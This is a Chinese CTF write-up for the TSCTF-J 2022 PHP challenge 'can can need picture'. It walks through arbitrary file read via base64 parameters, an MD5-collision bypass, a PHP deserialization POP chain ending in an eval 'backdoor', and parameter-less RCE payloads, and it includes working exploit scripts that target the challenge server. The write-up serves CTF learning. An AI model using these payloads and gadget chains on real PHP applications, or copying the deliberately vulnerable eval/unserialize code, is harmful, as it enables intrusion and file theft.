TSCTF-J 2022 can can need picture题解以及出题感悟
纪第一次出题
恭喜TSCTF-J2022圆满结束,这是我学ctf以来第一次出题,遇到了各种各样的问题。第一版是杂糅了诸多考点(无参数RCE,pop链,文件包含等),但限于代码技术,还没有实现就夭折了。第二版与最终版比较类似,只不过我想通过无参RCE获得hint,然后通过curl去获取flag,但权限的设置一直没搞好,这一版也就夭折了。然后就是现在的最终版,感觉效果也还不错,有很多解,也有很多师傅来找我交流,希望给大家带来了比较不错的体验。
can can need picture题解部分
打开题目,看见url,/index.php?f=YUhSMGNITTZMeTloY0drdWJYUjVjWGd1WTI0dmRHRndhUzl5WVc1a2IyMHVjR2h3
发现传参f,f中传的值很明显是base64
加密的,尝试解密(base64两次)得到https://api.mtyqx.cn/tapi/random.php
。
尝试随便输入一个值,返回Warning: file_get_contents(): Filename cannot be empty in /var/www/html/index.php on line 14
,file_get_contents()
函数是可以用来获取本地文件的。
尝试获取index.php
,base64
加密两次,得到YVc1a1pYZ3VjR2h3
,传入,发现得到提示no,you can't see this.can can class.php and hack.php.
,尝试读取这两个文件。
class.php
<?php
class apple
{
public $var;
public $m1;
public function __wakeup()
{
echo $this->var."1!5!";
}
public function __call($name, $args)
{
return $this->m1->$source;
}
}
class banana
{
public $str;
public $v1;
public function __toString()
{
$function=$this->str;
$function();
}
public function __invoke()
{
return $this->v1->hack();
}
}
class find
{
protected $code;
public function __get($name)
{
$this->backdoor();
}
public function backdoor()
{
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->code))
if(!preg_match('/et|info|dec|bin|hex|oct|pi|log/i',$this->code))
@eval($this->code);
}
}
?>
hack.php
<?php
include("class.php");
if(is_array($_GET['a']) || is_array($_GET['b']))
echo("die");
else
{
if(md5($_GET['a'])===md5($_GET['b']) && $_GET['a']!=$_GET['b'])
unserialize($_GET['pop']);
else
echo("nonono!");
}
很明显是一个pop链,pop链为apple:__wakeup -> banana:__tostring -> banana:__invoke -> apple:__call -> find:__get -> find:backdoor
。
但首先需要绕过MD5,这个payload网上很好找到,我贴到这
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
然后就可以到达backdoor部分,看过滤函数很容易发现这是一道无参数RCE的问题,但是get被ban掉了,想办法绕过,这时候选择localeconv()函数加scandir()函数绕过,我们知道scandir()可以列出当前目录,同时,localeconv()的第一位必定是,利用current取出,构造var_dump(scandir(current(localeconv())))
,可以看到当前目录下有四个文件,其中有一个是hint.php
,想办法读取。构造show_source(next(array_reverse(scandir(current(localeconv())))));
即可看到hint.php代码,里面告诉我们flag在根目录。
接下来就是想办法构造/,网上有很多现成payload,我参考的就是这个php无参数函数实现rce,无参数读文件和RCE总结,最后的payload为show_source(current(array_reverse(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
,这个结果输出有三种可能,要多尝试两次,可以得到flag。
我把最后的脚本贴到这
<?php
class apple
{
public $var;
public $m1;
}
class banana
{
public $str;
public $v1;
}
class find
{
protected $code="show_source(current(array_reverse(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));";
//print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
//show_source(next(array_reverse(scandir(current(localeconv())))));
//show_source(current(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
}
$f=new find();
$a1=new apple();
$a2=new apple();
$b1=new banana();
$b2=new banana();
$a2->m1=$f;
$b2->v1=$a2;
$b1->str=$b2;
$a1->var=$b1;
echo urlencode(serialize($a1));
?>
import requests
url="http://8.141.150.150:11233/hack.php"
a="M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2";
b="M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2";
r1=requests.get(url="http://localhost/ezphp/exp3.php")
pop=str(r1.text)
r=requests.get(url=url+"?a="+a+"&b="+b+"&pop="+pop)
print(url+"?a="+a+"&b="+b+"&pop="+pop)
print(r.text)
得到flag